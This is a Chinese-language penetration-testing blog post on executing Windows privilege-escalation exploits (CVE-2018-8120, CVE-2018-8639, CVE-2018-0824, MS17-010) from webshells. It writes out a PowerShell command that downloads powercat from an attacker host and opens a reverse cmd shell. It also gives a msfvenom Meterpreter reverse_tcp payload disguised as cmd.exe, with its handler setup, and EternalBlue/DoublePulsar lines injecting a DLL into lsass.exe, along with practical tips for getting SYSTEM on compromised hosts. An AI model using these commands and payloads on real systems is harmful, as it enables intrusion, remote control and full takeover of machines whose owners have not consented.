Windows提权EXP多种执行方式

简介: Windows提权EXP多种执行方式

0x01 前言

Windows常见提权方式无非就那几种:内核漏洞、数据库、第三方、服务和配置不当等,但用的最多还是内核漏洞。以前看到大多数人在利用提权EXP进行提权时只会用exp.exe whoami,不行就放弃了,其实每个提权EXP的执行方式是取决于开发作者是如何编写的,这里分享几个我在测试中发现的执行方式。


0x02 交互与非交互SHELL区别

交互式SHELL:命令终端有与用户进行交互,会等待用户输入命令后立即执行,有回显,如:登录、退出、可执行文件或系统中的一些命令,这里以下边的这个批处理文件为例来进行测试。

    @echo off
    set /p user=请输入用户名:
    if %user% == admin (
    echo 输入正确!)
    pause > nul


    非交互式SHELL:命令终端没有与用户进行交互,而是读取文件中的命令来执行,当执行完成后即退出SHELL,并没有回显,如:Webshell大马和中国菜刀的虚拟终端里执行这个批处理文件。


    注:在权限提升和后渗透中可根据目标实际场景的需求选择交互或非交互SHELL,有的提权EXP、利用程序必须在交互式才能执行,所以个人建议还是尽可能在交互式下执行相关操作。


    获取交互式SHELL的方式:

    我们可以在Kali里用Netcat工具执行监听,然后再去目标主机上通过Powershell执行powercat.ps1脚本反弹得到一个交互式SHELL,也可以通过Meterpreter会话得到一个交互式SHELL。

      攻击机执行:
      root@kali:~# netcat -lvvp 9527
      受害机执行:
      powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.120/powercat.ps1');powercat -c 192.168.1.120 -p 9527 -e cmd


      0x03 常规方式

      这里以CVE-2018-8120为例,这是最常见的一种执行方式,可以直接将提权EXP上传至目标主机的可读写目录中执行即可,因为国内大部分提权EXP都这样写的,所以可通过自定义参数来执行。

      但有时在执行命令时可能会出现两个“拒绝访问”的情况,这可能是cmd被降权或系统安全设置造成,可尝试将我们上传到可读写目录中的提权EXP放在cmd.exe位置上去执行,也可以尝试用“”双引号将提权EXP括起来后再执行,曾经在实战中遇到过多次,仅供参考,不排除还有其他原因。

        C:\Windows\SysWOW64\inetsrv\> C:\ProgramData\64.tmp whoami
        拒绝访问。
        拒绝访问。
        C:\Windows\SysWOW64\inetsrv\> "C:\ProgramData\64.tmp"
        [#] ms16-032 for service by zcgonvh
        [#] usage: ms16-032 command 
        [#] eg: ms16-032 "whoami /all" 
        拒绝访问。


        0x04 交互式执行

        这里以CVE-2018-8639为例,这个提权EXP不支持自定义参数执行,而且需要进行交互,所以在中国菜刀虚拟终端下执行时是没有回显的,会一直卡着不动,其实是已经在运行了。

        通过ProcessExplorer工具可以看到我们的提权EXP已经成功执行了,并且单独创建了一个以SYSTEM权限运行的cmd.exe进程,所以这个提权EXP必须在交互式下执行才能利用成功。

        使用以上提到的反弹shell方式得到一个交互式SHELL,然后再执行我们上传到可读写目录中的提权EXP即可,第一次执行whoami命令还是普通权限,再执行一次即可得到最高权限。

        注:本地测试发现CVE-2018-8639这个提权EXP在执行多次后可能会出现系统崩溃蓝屏的情况,可能是我测试环境问题,所以在实战场景中还需请谨慎使用,不作死就不会死!!!


        0x05 非交互式执行

        这里以CVE-2018-0824为例,这个提权EXP也不支持自定义参数执行,但可以在非交互式SHELL下执行,测试中发现执行成功后会以SYSTEM权限优先去执行提权EXP目录下的cmd.exe,如果这个目录没有这个文件,它才会去执行%SystemRoot%\system32\cmd.exe,反正都是以最高权限去执行的。

        首先我们先用msfvenom命令生成一个以cmd.exe命名的EXE载荷文件,因为CVE-2018-0824这个提权EXP只会去执行cmd.exe文件...,然后在handler监听模块配置好相关选项,执行监听。

          root@kali:~# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.120 LPORT=443 -f exe > /var/www/html/cmd.exe
          msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
          msf5 exploit(multi/handler) > set lhost 192.168.0.120
          msf5 exploit(multi/handler) > set lport 443
          msf5 exploit(multi/handler) > exploit

          接着将CVE-2018-0824提权EXP和EXE载荷文件同时上传至目标主机的可读写目录中,必须在同一目录下,然后再通过中国菜刀虚拟终端执行我们的提权EXP即可得到SYSTEM最高权限会话。


          通过ProcessExplorer工具可以看到我们的提权EXP已经成功执行了,并且以SYSTEM权限执行了我们的EXE载荷文件,最后执行的是:C:\ProgramData\cmd.exe,发现很多人都不会用这个。


          0x06 本地攻击方式

          这里以MS17-010为例,虽然这是一个远程代码执行漏洞,但也可以用于本地权限提升,只需将IP地址修改为127.0.0.1即可,这招我给叫做:疯起来自己都打,就问你怕不怕。其他一些常见的横向移动方式也是可以这样玩的,如:atexec、psexec、wmiexec、smbexec等。

            Eternalblue-2.2.0.exe --targetip 127.0.0.1 --Target WIN72K8R2 --DaveProxyPort=0 --NetworkTimeout 60 --TargetPort 445 --VerifyTarget True --VerifyBackdoor True --MaxExploitAttempts 3 --GroomAllocations 12 --OutConfig 1.txt

              Doublepulsar-1.3.1.exe --OutConfig 2.txt --Targetip 127.0.0.1 --TargetPort 445 --DllPayload msf_x64.dll --DllOrdinal 1 --ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x64 --Function Rundll


              0x07 空格路径问题

              找到的可读写目录可能会存在一个或多个空格,这时不能直接执行我们上传的提权EXP,会提示找不到文件,可使用以下方式将提权EXP或路径中的空格用“”双引号括起来,或者使用短文件/文件夹名。

                "C:\Program Files\Zend\ZendOptimizer-3.3.0\lib\exp.exe"
                C:\Program" "Files\Zend\ZendOptimizer-3.3.0\lib\exp.exe
                C:\Progra~1\Zend\ZendOptimizer-3.3.0\lib\exp.exe



                相关文章
                |
                安全 关系型数据库 MySQL
                windows提权总结
                windows提权总结
                333 1
                |
                安全 Windows
                Windows提权/杀软进程在线对比
                Windows提权/杀软进程在线对比
                406 0
                Windows提权/杀软进程在线对比
                |
                6月前
                |
                安全 Windows
                Windows提权辅助工具
                Windows提权辅助工具
                158 1
                |
                Java 测试技术 Windows
                利用Windows RpcSs服务进行提权
                利用Windows RpcSs服务进行提权
                256 0
                |
                安全 Windows
                [windows提权] 注册表AlwaysInstallElevated提权
                注册表AlwaysInstallElevated是策略设置项,允许低权限用户以system权限运行安装文件,powerup中的Get-RegistryAlwaysInstallElevate模块可用来检查注册表键是否被设置。如果为Ture就证明是以system权限运行的,可提权。
                368 0
                |
                安全 Shell 数据安全/隐私保护
                [windows提权] 详解-可信任服务路径提权
                "包含空格但没有引号的服务路径",利用windows解析文件路径的特性,如果一个服务的可执行文件路径热设置不当,攻击者可构造对应的可执行文件,从而利用提权,powerup的Get-ServiceUnquoted模块、配合MSF,可以自动化帮我们完成提权
                281 0
                |
                XML 安全 网络协议
                干货 | 最全windows提权总结
                干货 | 最全windows提权总结
                865 0
                |
                安全 Windows
                windows提权
                windows提权
                152 0
                |
                存储 安全 中间件
                Windows提权小结
                Windows提权小结
                142 0
                |
                安全 Windows
                Windows提权辅助工具
                Windows提权辅助工具
                698 0
                Windows提权辅助工具